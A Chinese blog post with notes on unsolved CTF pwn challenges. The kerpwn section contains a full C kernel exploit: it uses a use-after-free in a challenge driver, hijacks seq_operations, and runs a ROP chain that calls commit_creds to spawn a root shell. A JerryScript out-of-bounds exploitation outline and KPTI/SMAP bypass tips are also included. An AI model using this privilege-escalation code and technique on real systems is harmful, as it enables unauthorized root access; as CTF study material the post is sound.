一些没完成的题目

Posted on Nov 22, 2021

近期参加了一些比赛,积累了一些没做出来的题,个别题感觉本身也没啥意思,还有一些,由于各种原因,可能无法完全复现,这里简单记录一下思路。

hello_jerry

jerry pwn 碰到了许多次了,之前一直没有相关的 wp,再加上 js 解释器相关的 pwn 确实没接触过。这道题应该是比较入门的,相比起别的只给个 bin 的题,至少给了 patch,就是在 array 的 shift 方法执行后多删一个节点,造成数组的 out-of-bound,可以对整个 jerry_heap 进行读写。不过 jerryscript 的几个特点造成较难编写 exp

  • 进行了指针压缩,也就是为了节省空间,默认只储存每个指针的低 16 位,需要使用时与 global heap base 相加获得对象的地址,同时由于地址对齐,低三位必为零,便可以在这里存储一些控制信息。不过这个其实影响不大,不会特别麻烦。
  • js 的数组可以存储不同类型的对象,因此在访问时需要判断对象的类型。v8 中有对该过程进行优化,如果当前存储的都是同一类型,就分配特定的 map,访问时就可以不用判断了,但是 Jerry 中没有类似的实现,因此在数组 oob 之后,想要对内存进行搜索,就会让解释器认为某些数据是对象,就会出现各种奇奇怪怪的崩溃。所以用 oob 数组内存搜索基本是奢望了。
  • 上面两个问题其实都能克服,但是最麻烦的是,堆的布局会根据被执行的代码不同而改变,因此,需要先写好整个攻击流程再修改偏移。同时,题目给出的 bin 是 release 版本的,什么符号都没有,想要找到每个对象可能都需要内存搜索,因此工作量会非常大。

攻击的思路还是简单的,由于有 oob 数组,所以可以用该数组修改 DataView 对象的 header.u.cls.u3.length 成员,通过 DataView 就可以安全的对内存进行访问了,然后就像官方 wp 说的一样,leak 出 proc_base,然后 leak libc_base,然后通过 environment leak stack,写入 one_gadget 即可。这些通过伪造 DataView 应该都可以实现。

说起来挺容易的,但是要写出 exp 真是不容易啊,暂时放下了。

kerpwn

这道 kernel pwn 的漏洞品相很不错,UAF 和溢出都有了。不过只能申请 0x20 大小的 chunk,同时禁用了 ptmx 一系列的驱动的开启权限,再加之据说 slub 现在有保护,所以无法用堆进行相关的攻击,所以 tty_struct 就难以利用了。其他的结构体我确实也不了解,赛后 77 老师告诉我可以用 seq_operation 结构体进行利用。该结构体结构为

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

由于对 /proc 文件系统的读取限制了一次最多读一页,为了加速对该文件系统中文件的读取速度,就出现了 seq_file。具体的也不必了解太深,只要知道在对 seq_file 进行 read 的时候,首先会调用 start,然后重复调用 next,show,直到 next 判断为空,再调用 stop 停止。

那么如果我们可以控制一个 seq_operations 结构体,劫持掉 start 指针,就可以实现 rop。具体的,劫持 start 为类似于

xchg   eax, esp ; ret

这样的 gadget,由于进入 start 是 rax 的值正好是该 gadget 的地址,所以可以预知 rsp 会被劫持为的值,我们提前在这里 mmap 出可访问的内存,布置 rop 链即可实现利用。

当然,在 rop 前要绕过 smap,但是据说在 Linux 5.X 中已经不能用 gadgets 修改 cr4 来关闭 smap 了,的确我使用了 mov cr4, rdi ; 这样的 gadget 后,下一条指令被修改了,与 vmlinux 中预期的指令不同,可能和这个有关系。

不过这道题没开启 smap,所以可以直接 rop 了。我写了个 poc

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <poll.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>

#define PAGE_SIZE 0x1000
#define TTY_STRUCT_SZIE 0x2E0

int fd;

typedef struct Request
{
    unsigned int idx;
    long long size;
    char *buf;
} Request;

void add_note(long long size, char *buf)
{
    Request req;
    *((long long *)&req.idx) = size;
    *((char **)&req.size) = buf;
    ioctl(fd, 0x20, &req);
}

void delete_note(unsigned int idx)
{
    Request req;
    req.idx = idx;
    ioctl(fd, 0x30, &req);
}

void show_note(unsigned int idx, char *buf, long long size)
{
    Request req;
    req.idx = idx;
    req.buf = buf;
    req.size = size;
    ioctl(fd, 0x40, &req);
}

void edit_note(unsigned int idx, char *buf, long long size)
{
    Request req;
    req.idx = idx;
    req.buf = buf;
    req.size = size;
    ioctl(fd, 0x50, &req);
}

char buf_a[0x1000];
char buf_b[0x1000];
size_t payload[0x1000];

size_t single_start_offset = 0x319D30;
size_t kernel_base = 0;
size_t pop_rdi_ret = 0x089250;
size_t pop_rsi_ret = 0x1cad0d;
size_t pop_rdx_ret = 0x059afc;
size_t commit_creds = 0xc8d40;
size_t prepare_kernel_cred = 0xc91d0;
size_t work_for_cpu_fn = 0xb8490;
size_t xchg_eax_esp_ret = 0xe3b22;
size_t mov_cr4_rdi_ret = 0x460f2;
size_t mov_rax_rsi_ret = 0x19f0da;
size_t mov_rdi_rax_call_rcx = 0x18ecf9c;
size_t pop_rcx_ret = 0x255323;
size_t iretq = 0x3a2ab;
size_t mov_rdi_r12_call_rbx = 0x4477;
size_t pop_rbx_ret = 0x059afc;
size_t push_rax_push_rax_pop_rbx_pop_r12_pop_rbp_ret = 0x9f1b03;
size_t mov_rdi_rax_rep_ret = 0xb72e8b;
size_t pop_rsp_ret = 0xb61f0;
size_t swapgs_ret = 0x75ef0;

/* get user stat*/
size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void GetUserStat()
{
    __asm__(".intel_syntax noprefix\n");
    __asm__ volatile(
        "mov user_cs, cs;\
         mov user_ss, ss;\
         mov user_gs, gs;\
         mov user_ds, ds;\
         mov user_es, es;\
         mov user_rsp, rsp;\
         pushf;\
         pop user_rflags");
    printf("[+] got user stat\n");
}

void CalcKernelFunctionAddress(size_t single_start_current_addr)
{
    kernel_base = single_start_current_addr - single_start_offset;
#define apply_offset(X) X = (X) + kernel_base
    apply_offset(commit_creds);
    apply_offset(prepare_kernel_cred);
    apply_offset(work_for_cpu_fn);
    apply_offset(xchg_eax_esp_ret);
    apply_offset(mov_cr4_rdi_ret);
    apply_offset(mov_rax_rsi_ret);
    apply_offset(pop_rdi_ret);
    apply_offset(pop_rsi_ret);
    apply_offset(pop_rdx_ret);
    apply_offset(pop_rcx_ret);
    apply_offset(mov_rdi_rax_call_rcx);
    apply_offset(iretq);
    apply_offset(mov_rdi_r12_call_rbx);
    apply_offset(pop_rbx_ret);
    apply_offset(push_rax_push_rax_pop_rbx_pop_r12_pop_rbp_ret);
    apply_offset(mov_rdi_rax_rep_ret);
    apply_offset(pop_rsp_ret);
    apply_offset(swapgs_ret);
#undef apply_offset
}

void GetRootShell()
{
    if (getuid() == 0)
    {
        printf("[+] get root shell!\n");
        system("/bin/sh");
    }
    else
    {
        printf("[-] failed\n");
        exit(-1);
    }
}

int main()
{
    GetUserStat();
    fd = open("/dev/kerpwn", O_RDWR);

    add_note(0x20, buf_a); // 0
    delete_note(0);
    int proc_stat_fd = open("/proc/self/stat", O_RDONLY);
    show_note(0, buf_b, 0x100);

    CalcKernelFunctionAddress(((size_t *)buf_b)[0]);
    printf("[+] kernel base leaked: %p\n", (void *)kernel_base);

    add_note(0x20, buf_a); // 1
    add_note(0x20, buf_a); // 2
    add_note(0x20, buf_a); // 3
    show_note(1, buf_b, 0x100);

    char *fake_stack = (size_t *)mmap(xchg_eax_esp_ret & 0xFFFFF000, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fake_stack == MAP_FAILED)
    {
        printf("[-] mmap err\n");
        exit(-1);
    }

    size_t *fake_stack_start = (size_t *)&fake_stack[0xb22];
    fake_stack_start[0] = pop_rsp_ret;
    fake_stack_start[1] = fake_stack + 0x1000;

    fake_stack_start = fake_stack + 0x1000;
    int i = 0;
    fake_stack_start[i++] = pop_rdi_ret;
    fake_stack_start[i++] = 0;
    fake_stack_start[i++] = prepare_kernel_cred;
    fake_stack_start[i++] = pop_rsi_ret;
    fake_stack_start[i++] = fake_stack;
    fake_stack_start[i++] = pop_rcx_ret;
    fake_stack_start[i++] = 0;
    fake_stack_start[i++] = mov_rdi_rax_rep_ret;
    fake_stack_start[i++] = commit_creds;
    fake_stack_start[i++] = swapgs_ret;
    fake_stack_start[i++] = iretq;
    fake_stack_start[i++] = GetRootShell;
    fake_stack_start[i++] = user_cs;
    fake_stack_start[i++] = user_rflags;
    fake_stack_start[i++] = user_rsp;
    fake_stack_start[i++] = user_ss;

    payload[0] = xchg_eax_esp_ret;
    edit_note(0, (char *)payload, 0x8);
    read(proc_stat_fd, 0, 0);

    return 0;
}

奇怪的是我在返回到用户态后会直接崩溃,不知道是什么原因。可能是因为内核栈被搞成了不对齐的缘故,使用一个对齐的 xchg eax, esp ; ret gadget 就可以了。ropgadget 会去除重复的 gadget,所以需要用 opcode 来搜

$ ROPgadget --binary ./vmlinux --opcode 94c3
Opcodes information
============================================================
0xffffffff810e3b22 : 94c3
0xffffffff810e57f2 : 94c3
0xffffffff810fddda : 94c3
0xffffffff8111f3c2 : 94c3
0xffffffff81137f6c : 94c3
0xffffffff81137fc7 : 94c3
0xffffffff8117d292 : 94c3
0xffffffff81183b47 : 94c3
0xffffffff811c4878 : 94c3
0xffffffff811f0229 : 94c3
0xffffffff811f842a : 94c3
0xffffffff81221583 : 94c3
0xffffffff812382cf : 94c3
...

找一个对齐的换上去就行。当然啦,返回到用户态还是会 crash 的,也就是 segment fault,这是因为高版本的 Linux 中有 kpti 保护,要绕过,可以通过 swapgs_restore_regs_and_return_to_usermode 函数实现 bypass,更简单的,也可以直接在用户态中注册对 SIGSEGV 信号的处理 getshell

另外题目没有禁用 qemu 的 monitor,所以可以直接通过 qemu 读出 flag。

很可惜比赛的时候确实不知道这些东西,没有做出来。

TinyNode

这题比赛时似乎是零解,现在也没看到官方 wp,确实是不会做。leak 很简单,不用说。之后的攻击就没思路了,比赛时给了 hint 说用 fastbin 的 key 打 IO。说起来比赛的时候我都没看到 hint,不过就算看到了也没用,我到现在也没想通 fastbin 的 key 是个什么东西。另外打 IO file 也是非常的麻烦,本题又只能写 0x10 字节,属实是想不明白了。